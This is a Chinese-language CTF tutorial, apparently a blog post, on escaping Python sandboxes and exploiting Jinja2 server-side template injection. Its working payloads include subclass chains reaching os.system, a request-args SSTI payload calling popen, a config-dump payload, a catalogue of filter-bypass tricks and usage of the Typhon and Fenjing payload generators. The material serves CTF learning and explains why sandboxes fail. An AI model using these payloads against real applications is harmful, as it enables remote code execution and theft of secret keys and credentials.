Python Jail 与 SSTI 逃逸技术全解析:探寻执行链条的艺术
在CTF竞赛中,jail和SSTI是两类常见题目,核心目标都是在受限环境中构建可控的执行链条以实现代码执行。jail通常限制代码执行环境,如禁用某些关键字或模块,而SSTI则是在模板引擎中注入恶意代码。尽管场景不同,二者都依赖Python的反射机制,通过魔法方法如__class__、__base__、__subclasses__等,从基础对象如字符串逐步追溯到object,再挖掘出可用的子类和函数
在CTF竞赛中,Pyjail(Python 沙箱逃逸) 和 SSTI(服务端模板注入) 是两类常见题目,核心目标都是在受限环境中构建可控的执行链条以实现代码执行。jail通常限制代码执行环境,如禁用某些关键字或模块,而SSTI则是在模板引擎中注入恶意代码。尽管场景不同,二者都依赖Python的反射机制,通过魔法方法如__class__、base、__subclasses__等,从基础对象如字符串逐步追溯到object,再挖掘出可用的子类和函数,最终实现代码执行。无论是手动分析还是脚本自动化,掌握这一核心逻辑是破解这两类题目的关键。
攻击者的目标始终如一:在一个本不该执行任意代码的环境中,利用已有的对象和引用,手动拼凑出一条通往系统 Shell 的“路径”。 这就像是在一间锁死的房间里,利用现有的铁丝、衣架和杠杆原理,最终撬开通往外界的大门。
一、Python 对象体系与反射基石
要理解逃逸,必须先理解 Python 是如何管理对象的。
1.1 万物皆对象
在 Python 中,无论是字符串、整数、函数还是模块,都是 object 的派生。每一个对象都携带了指向其元数据的指针。
1.2 反射:黑客的探测雷达
反射是指程序在运行时能够访问、检测和修改其状态或行为的能力。在 Python 逃逸中,我们主要利用以下“魔术属性”:
__class__:返回对象所属的类。这是我们逃离“实例层”进入“类层”的第一步。__mro__(Method Resolution Order):返回一个元组,展示了该类继承的完整路径,通常最后一个元素是<class 'object'>。__subclasses__():这是最关键的方法。它能列出内存中当前所有继承自该类的子类。__init__:获取类的初始化函数。__globals__:获取函数定义所在的全局命名空间字典。 这是连接“受限对象”与“危险模块”的核心桥梁。__builtins__:Python 的内置函数包(包含eval,exec,__import__,open等)。
二、经典逃逸链条的构建艺术
2.1 寻找“始祖”:object
大多数逃逸都从一个随处可见的基础对象开始,例如空字符串 ""、空列表 [] 或数字 0。
# 获取 object 类
"".__class__.__mro__[-1]
# 或者
[].__class__.__base__
2.2 挖掘子类:__subclasses__()
通过 object 类,我们可以窥探内存中所有加载的类。
# 列出所有子类
classes = "".__class__.__mro__[-1].__subclasses__()
在一个标准的 Python 环境中,这个列表可能包含数百个类。我们需要从中寻找包含敏感模块引用的类。
2.3 寻找“跳板”:危险子类分析
我们寻找的目标通常是那些引入了 os、sys 或 subprocess 的类。
os._wrap_close:这个类通常位于子类列表的某个位置,它的__init__.__globals__往往直接包含os模块。site._Printer:常用于获取os。warnings.catch_warnings:这个类通常被用来逃逸,因为它不仅常用,而且其全局命名空间中经常包含sys模块。
2.4 最终打击:执行命令
一旦找到了跳板类(假设索引为 132),我们就可以构造最终 Payload:
"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['os'].system('cat /flag')
三、Pyjail 的五大防御及其破局之道
出题人不会让我们轻易通过。他们会设置层层阻碍:
3.1 字符与关键词黑名单 (Banned Keywords)
限制: 禁止使用 os, import, __builtins__, eval 等。
绕过策略:
- 字符串拼接:
'o' + 's'或'__clas' + 's__'。 - 反转与切片:
'so'[::-1]。 - 十六进制/Unicode 编码:
'\x5f\x5fclass\x5f\x5f'。 - **利用
getattr()**:通过getattr(object, "__cla"+"ss__")动态获取属性。
3.2 符号限制 (No Dots or Quotes)
限制: 禁用 .(点号)或双引号/单引号。
绕过策略:
- 点号绕过:使用
getattr()或字典访问obj['__class__']。 - 引号绕过:
- 使用
chr()拼接:chr(102)+chr(108)+chr(97)+chr(103)。 - 利用现有的字符串:从
str(len)或其他对象的__doc__中截取字符。 - 利用
request.args(在 SSTI/Flask 中)。
3.3 命名空间清空 (Clean Builtins)
限制: __builtins__ 被设为 None,无法直接调用 eval 或 open。
绕过策略:
- 重新寻找 Builtins:即使全局命名空间被清空,只要能触达任何一个已加载的模块函数,其
__globals__['__builtins__']依然存在。
[].__class__.__base__.__subclasses__()[XX].__init__.__globals__['__builtins__']
3.4 AST(抽象语法树)限制
限制: 题目会解析你的代码树,禁止 ast.Attribute(点号访问)或 ast.Import。
绕过策略:
- 字典访问:将所有
a.b替换为getattr(a, 'b')或a['b']。 - 内置函数替换:不使用
import语句,而是使用__import__('os')。
3.5 长度限制
限制: Payload 必须在 30-50 字符以内。
绕过策略:
- 短变量赋值:
a=().__class__; b=a.__base__...。 - 利用环境变量:如果环境中有可控的变量。
自动化利用:Typhon
假设一个 Python Jail 限制如下:
- 不能使用
"和'。 - 不能使用
os,sys,import。 __builtins__为空。
Typhon 代码:
import Typhon
# 设置题目环境约束
banned = ['"', "'", "os", "sys", "import"]
scope = {'__builtins__': None, 'str': str}
# 自动化生成并执行
Typhon.bypassRCE(
"cat /flag",
banned_chr=banned,
local_scope=scope,
interactive=False # Web 环境下非交互模式
)
Typhon 会尝试使用数字拼接、chr() 转换以及从 str(str) 等对象中提取字符,最终生成一个复杂的但能完美避开过滤的 Payload。
四、SSTI (服务端模板注入) 的变化
SSTI 虽然利用了 Python 的反射,但其载体是模板引擎(如 Jinja2, Mako, Twig)。
4.1 模板引擎的“特权”变量
在 Jinja2 中,我们不仅有 Python 原生对象,还有模板引擎提供的辅助变量:
config:Flask 的配置对象,往往包含数据库密码、SECRET_KEY 等。request:客户端请求对象。这是绕过字符过滤的神器。self:指向当前模板上下文。
4.2 利用 request 绕过所有过滤
如果题目过滤了引号、点号,我们可以通过 request.args(GET 参数)或 request.cookies 来传入我们想要的字符串。
Payload 示例:
{{ self.__dict__._TemplateReference__context.joiner.__init__.__globals__[request.args.os].popen(request.args.cmd).read() }}&os=os&cmd=cat /flag
在这个例子中,Payload 本身不包含敏感字符,所有的“脏数据”都通过外部参数传入。
4.3 配置文件泄露
有时不需要执行命令,只需读取 Flask 的 config 即可拿到 Flag 或 Key。
{{ config.items() }}
自动化利用:Fenjing
绕过规则说明:
一、关键字符绕过
支持绕过以下关键字符:
'和"_[- 绝大多数敏感关键字
- 任意阿拉伯数字
+-*~{{%...
二、自然数绕过
支持同时绕过 0-9 以及加减乘除(+、-、*),具体方法如下:
- 十六进制表示
- 算术表达式形式:
a*b+c - 元组求和形式:
(39,39,20)|sum - 列表长度形式:
(x,x,x)|length - unicode 全角字符形式
三、‘%c’ 绕过
支持绕过以下内容,核心基于 %c 格式符:
- 引号
g关键字lipsum关键字- urlencode 编码
四、下划线绕过
支持通过以下方式绕过下划线(_):
lipsum|escapebatch(22)(其中数字 22 支持上述「自然数绕过」规则)list|firstlist|last
五、任意字符串绕过
支持绕过引号、任意字符串拼接符号、下划线和任意关键词,支持的形式如下:
- 单引号形式:
'str' - 双引号形式:
"str" - 十六进制转义形式:
"\x61\x61\x61" - 字典拼接形式:
dict(__class__=x)|join(其中下划线支持上述「下划线绕过」规则) - 格式化输出形式:
'%c'*3%(97,97, 97)- 其中
%c支持上述「%c 绕过」规则 - 其中所有数字支持上述「自然数绕过」规则
- 其中
- 字符串分段生成形式:将字符串切分成小段分别生成
六、属性绕过
支持的属性访问形式如下:
- 下标形式:
['aaa'] - 点访问形式:
.aaa - attr 过滤器形式:
|attr('aaa') - Item 关键字形式
- 重复下标形式:
['aaa'] - 重复点访问形式:
.aaa - 魔术方法形式:
.__getitem__('aaa')
五、总结
为什么沙箱难以安全?
Python 的动态特性太强。只要存在对象引用,就无法彻底切断与全局空间的联系。
- 递归引用:对象之间互相关联,形成了一个复杂的图结构。
- 内置模块残留:许多内置模块在启动时就已经加载,无法通过简单的
del删除。
给学习者的进阶之路
Pyjail(Python沙箱逃逸)和SSTI(服务器端模板注入)是CTF领域中,对选手Python底层机制掌握深度的终极考验。想要攻克这类题型,吃透核心知识点、掌握实战技巧缺一不可:
-
吃透基础核心概念
理解并熟练运用 方法解析顺序(MRO,即继承链) 和 全局命名空间(Globals) 是突破的关键。这两个概念是所有Payload构造的底层逻辑,也是CTF选手应对Pyjail/SSTI的核心基础。 -
以
dir()为核心探索环境
在权限受限的沙箱环境中,dir()是探索可用属性、方法的“唯一抓手”。熟练掌握dir()的使用场景和返回结果解读,才能摸清环境限制、找到逃逸突破口,这是从“被动解题”到“主动探索”的关键一步。 -
兼顾版本差异与工具活用
一方面要关注Python版本特性:Python 3.10+ 新增了多项安全防护机制,类结构也有调整,基于旧版本编写的索引型Payload往往直接失效;另一方面要理性使用工具:Typhon、Fenjing等自动化工具能快速生成Payload,但核心是理解生成结果中每一个字符的含义,只有这样才能在工具失效时手动调整Payload,应对自定义限制规则。
更多推荐


所有评论(0)